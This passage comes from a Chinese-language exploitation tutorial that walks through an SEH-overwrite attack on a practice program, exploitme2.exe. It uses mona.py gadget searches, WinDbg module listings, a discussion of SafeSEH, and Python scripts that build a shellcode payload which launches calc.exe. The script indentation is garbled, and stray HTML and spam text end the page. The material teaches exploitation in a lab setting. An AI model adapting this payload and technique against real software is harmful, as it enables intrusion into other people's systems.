            0x75e7930d |   0x75e7930d (b+0x000b930d)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            ... Please wait while I'm processing all remaining results and writing everything to file...
            [+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
                Found a total of 396 pointers    
            
            [+] This mona.py action took 0:00:12.400000 
            

            我們選擇第二個地址

            0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn   
            

            用來創建文件name.dat的Python代碼如下:

            #!python
            with open('c:\\name.dat', 'wb') as f:
            ????jmp = '\xeb\x06\x90\x90'
            ????handler = '\x5d\xd7\xdf\x75'
            ????shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            ????????????"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            ????????????"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            ????????????"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            ????????????"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            ????????????"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            ????????????"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            ????????????"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            ????????????"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            ????????????"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            ????????????"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            ????????????"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            ????????????"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            ????????????"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            ????????????"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            ????????????"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            ????????????"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            ????????????"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            ????????????"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            ????????????"\x30\x03\xc6\xeb\xdd")
            ????data = 'a'*84 + jmp + handler + shellcode
            ????f.write(data + 'c' * (10000 - len(data))) 
            

            如果你使用WinDbg調試exploitme2.exe,你將會發現出錯了。我們的handler(pop/pop/ret)并沒有被調用,為什么?

            我們來看一看已加載的模塊:

            0:000> !py mona modules
            Hold on...
            [+] Command used:
            !py mona.py modules    
            
            ---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
            [+] Processing arguments and criteria
                - Pointer access level : X
            [+] Generating module info table, hang on...
                - Processing modules
                - Done. Let's rock 'n roll.
            ----------------------------------------------------------------------------------------------------------------------------------
             Module info :
            ----------------------------------------------------------------------------------------------------------------------------------
             Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
            ----------------------------------------------------------------------------------------------------------------------------------
             0x774b0000 | 0x774ba000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
             0x00190000 | 0x00196000 | 0x00006000 | False  | True    | True  |  False   | False  | -1.0- [exploitme2.exe] (exploitme2.exe)
             0x752d0000 | 0x7532a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
             0x764c0000 | 0x7658c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
             0x76360000 | 0x763a7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
             0x752c0000 | 0x752c9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
             0x752b0000 | 0x752b7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
             0x758c0000 | 0x7595d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
             0x75b50000 | 0x75be0000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
             0x75dc0000 | 0x75ed0000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
             0x75960000 | 0x75a0c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
             0x75550000 | 0x7555c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
             0x75560000 | 0x755c0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
             0x77bd0000 | 0x77d50000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
             0x75ed0000 | 0x75f70000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
             0x77660000 | 0x77750000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
             0x6d510000 | 0x6d5fe000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
             0x764a0000 | 0x764b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
             0x75ab0000 | 0x75ab5000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
             0x761c0000 | 0x762c0000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
             0x762f0000 | 0x76350000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
            ----------------------------------------------------------------------------------------------------------------------------------    
            
            
            [+] This mona.py action took 0:00:00.110000  
            

            我們可以看到所有已加載的模塊具有SafeSEH = True屬性。對于我們來說這顯然是壞消息。如果某個模塊啟用了SafeSEH保護機制進行編譯,同時它含有一個被允許的SEH handler列表以及地址被包含在那個模塊中的handler,但是沒在列表中的都被忽略了。

            地址0x75dfd75d在模塊kernel32.dll中,但是沒有在它的已允許的handler列表中,因此我們不能使用它。通常的解決方法是選擇具有SafeSEH = False屬性的模塊,但是在我們的案例中,啟用了SafeSEH保護機制來對所有模塊進行編譯。

            因為我們在這只是正在學習“走路”,我們在VS2013中通過修改配置關閉SafeSEH保護機制來對exploiotme2.exe進行重編譯,修改的配置如下:

            現在讓我們在exploitme2.exe中找到pop/pop/ret序列:

            0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
            Hold on...
            [+] Command used:
            !py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe    
            
            ---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
            [+] Processing arguments and criteria
                - Pointer access level : X
                - Only querying modules exploitme2.exe
            [+] Type of search: str
            [+] Searching for matches up to 8 instructions deep
            [+] Generating module info table, hang on...
                - Processing modules
                - Done. Let's rock 'n roll.
            [+] Started search (8 start patterns)
            [+] Searching startpattern between 0x00e90000 and 0x00e96000
            [+] Preparing output file 'findwild.txt'
                - (Re)setting logfile findwild.txt
            [+] Writing results to findwild.txt
                - Number of pointers of type 'pop eax # pop esi # retn' : 1
                - Number of pointers of type 'pop ecx # pop ecx # retn' : 1
                - Number of pointers of type 'pop edi # pop esi # retn' : 2
                - Number of pointers of type 'pop ecx # pop ebp # retn' : 1
                - Number of pointers of type 'pop ebx # pop ebp # retn' : 1
            [+] Results :
            0x00e91802 |   0x00e91802 (b+0x00001802)  : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
            0x00e9152f |   0x00e9152f (b+0x0000152f)  : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
            0x00e918e7 |   0x00e918e7 (b+0x000018e7)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
            0x00e91907 |   0x00e91907 (b+0x00001907)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
            0x00e9112b |   0x00e9112b (b+0x0000112b)  : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
            0x00e91630 |   0x00e91630 (b+0x00001630)  : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
                Found a total of 6 pointers    
            
            [+] This mona.py action took 0:00:00.170000 
            

            我們將使用第一個地址:0x00e91802.

            這是已更新的Python腳本:

            #!python
            with open('c:\\name.dat', 'wb') as f:
            ????jmp = '\xeb\x06\x90\x90'
            ????handler = '\x02\x18\xe9\x00'
            ????shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            ????????????"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            ????????????"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            ????????????"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            ????????????"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            ????????????"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            ????????????"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            ????????????"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            ????????????"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            ????????????"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            ????????????"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            ????????????"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            ????????????"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            ????????????"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            ????????????"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            ????????????"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            ????????????"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            ????????????"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            ????????????"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            ????????????"\x30\x03\xc6\xeb\xdd")
            ??? data = 'a'*84 + jmp + handler + shellcode
            ??? f.write(data + 'c' * (10000 - len(data)))
            

            用WinDbg運行腳本并打開exploitme2.exe(沒有啟用SafeSEH保護機制的版本)。現在,不出我們所料,計算器被彈出了!成功利用,但是我們已經改寫了一些代碼。同時,在這里我們假設不啟用ASLR保護機制(對于現在來說)

            0x01 檢測實驗


            如果利用沒法在你的系統上成功執行,那么可能是因為在棧上的空間有限。可以參考文章http://drops.wooyun.org/tips/9948中的More space on stack部分進行解決

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线